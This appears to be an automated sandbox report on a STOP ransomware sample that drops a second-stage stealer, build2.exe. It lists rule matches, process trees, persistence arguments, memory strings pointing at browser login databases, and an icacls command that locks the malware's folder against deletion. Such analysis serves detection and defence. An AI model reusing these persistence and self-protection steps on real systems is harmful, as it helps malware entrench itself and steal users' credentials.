Source: Process Memory Space: 8jvTeVxooN.exe PID: 5772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 8jvTeVxooN.exe PID: 7004, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 8jvTeVxooN.exe PID: 2312, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 8jvTeVxooN.exe PID: 6428, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 8jvTeVxooN.exe PID: 3228, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 8jvTeVxooN.exe PID: 6064, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 8jvTeVxooN.exe PID: 3228, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@21/1388@9/5

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

1_2_00411900

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_044347C6 CreateToolhelp32Snapshot,Module32First,

0_2_044347C6

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

1_2_0040D240

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

File created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631

Jump to behavior

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: F:\	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Command line argument: F:\	1_2_00419F90

Source: 8jvTeVxooN.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: build2.exe, 00000008.00000003.1901112778.0000000000922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: 8jvTeVxooN.exe

Virustotal: Detection: 46%

Source: 8jvTeVxooN.exe	String found in binary or memory: set-addPolicy
Source: 8jvTeVxooN.exe	String found in binary or memory: id-cmc-addExtensions
Source: 8jvTeVxooN.exe	String found in binary or memory: set-addPolicy
Source: 8jvTeVxooN.exe	String found in binary or memory: id-cmc-addExtensions
Source: 8jvTeVxooN.exe	String found in binary or memory: set-addPolicy
Source: 8jvTeVxooN.exe	String found in binary or memory: id-cmc-addExtensions
Source: 8jvTeVxooN.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

File read: C:\Users\user\Desktop\8jvTeVxooN.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe"
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe"
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe --Task
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe --Task
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe "C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe"
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Process created: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe "C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe "C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe --Task
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Process created: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe "C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe"
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: userenv.dll	Jump to behavior
